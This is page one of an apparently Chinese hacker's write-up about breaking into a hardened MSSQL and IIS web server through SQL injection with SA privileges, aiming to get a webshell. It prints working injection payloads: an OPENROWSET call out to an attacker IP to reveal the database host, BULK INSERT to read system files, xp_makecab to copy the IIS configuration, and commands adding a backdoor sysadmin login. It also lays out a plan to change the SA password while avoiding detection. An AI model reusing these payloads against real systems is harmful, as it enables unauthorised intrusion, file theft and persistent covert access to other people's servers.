|
对外开放80,1433,3389端口,且此服务器上只放该站一个站点,而且后台密码是写在ASP文件里的(前面猜表时并未找到后台相关的表,于是猜测对方是把密码写在ASP文件里了,进去后肯定了我的猜测)。网络上公认的危险存储扩展均被删除,且无法恢复。(后来确认是 odsole70.dll,xplog70.dll,xpstar.dll三个DLL被删除)这三个DLL的删除,意味着N多的存储扩展用不了了。
也就意味着,虽然是SA权限,但你却不能执行命令,不能列目录,不能读改注册表,不能恢复被删除的存储扩展。
OK,大体情况已经说了,难度系数是有D,看我是如何击破这坚固的堡垒的。虽然对方开放了1433端口,但是这并不代表着WEB和数据库就肯定是在一快的。曾经就碰过这类的机器,虽然开着MSSQL服务,但是却是给别的WEB机器提供的。节省资源,又相对安全。于是我先在本地用NC监听80端口(反连看IP,自己机器并不一定要有装MSSQL的),在注射点上注射如下语句: ;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=netpatch;Network=DBMSSOCN;Address=111.111.111.111,80;', 'select * from dest_table') select * from src_table;--
因为我们只要看IP,所以其他的参数就无所谓了。而端口设置成80,是为了预防一些机器只让访问外部80。没一会,就有机器连过来了,一看IP。嘿嘿,正是目标机器。如图1

于是大胆进行下一步计划——获取WEBSHELL。
要获取WEBSHELL,首先我们得需要路径,如何去获取路径呢?由于许多存储扩展已经不能使用,我们没办法执行命令,列目录,查看注册表等操作。于是,我脑袋里闪过的IDEA就是,读取MetaBase.bin文件!有经验的朋友都知道,此文件乃IIS 5.0的网站配置文档。可怎么读呢?
以下是代码片段: drop table [nspcn] CREATE TABLE [nspcn](ResultTxt nvarchar(1024) NULL) BULK INSERT [nspcn] FROM 'c:\boot.ini’ WITH (KEEPNULLS) insert into [nspcn] values ('g_over');Alter Table [nspcn] add id int NOT NULL IDENTITY (1,1) select * from [nspcn] |
上面的代码利用BULK来读取boot.ini文件,本地测试成功读取。下图是本地测试的抓图 如图2

于是转而读取MetaBase.bin文件,但是当时测试的时候失败了。读取的内容为空。下图是本地测试的抓图(由于虚拟机只有2K3有装MSSQL,我从2K上COPY了个MetaBase.bin) 如图3

于是我又想到了xp_makecab,xp_unpackcab两个扩展存储,于是用了如下语句: ;exec master..xp_makecab ''C:\WINNT\Help\iisHelp\common\404b.cab ','mszip',1,''C:\WINNT\Help\iisHelp\common\404b.htm' --//备份404b.htm页面 --//由于当时忘了xp_unpackcab有个参数可以解压重命名的,哎,真是大意啊。于是用了下面的烂招 Exec master..xp_makecab ' C:\WINNT\Help\iisHelp\common\404b.htm ','mszip',1,'C:\WINNT\system32\inetsrv\MetaBase.bin' --//结果肯定失败了!
没办法,只能另图他法了。得想办法恢复那些存储扩展才行。先用NC连了下对方的1433,根据反馈结果表示可以连上。如图4

于是用如下语句加了个SYSADMIN权限的用户 ;exec master.dbo.sp_addlogin nspcn,netpatch-- ;exec master.dbo.sp_addsrvrolemember nspcn sysadmin-- --//后来才发现我语句写错了,第二句漏了个逗号! --//正确的应该是exec master.dbo.sp_addsrvrolemember nspcn, sysadmin--
用查询分析器连接上去,发现只是个PUBLIC权限,晕死我了。当时也晕忽忽的,不知道哪里错了。用NBSI也没加上。
于是想到了一个疯狂的点子,修改SA密码。如何修改呢?如果我们直接用;exec master.dbo.sp_password null,nspcn,netpatch—修改,虽然有办法修改,但万一恢复不了扩展,我们又不知道原密码,没办法将密码修改回去。那么我们将完全暴露,得想个巧妙的方法才行。
[1] [2] [3] 下一页 |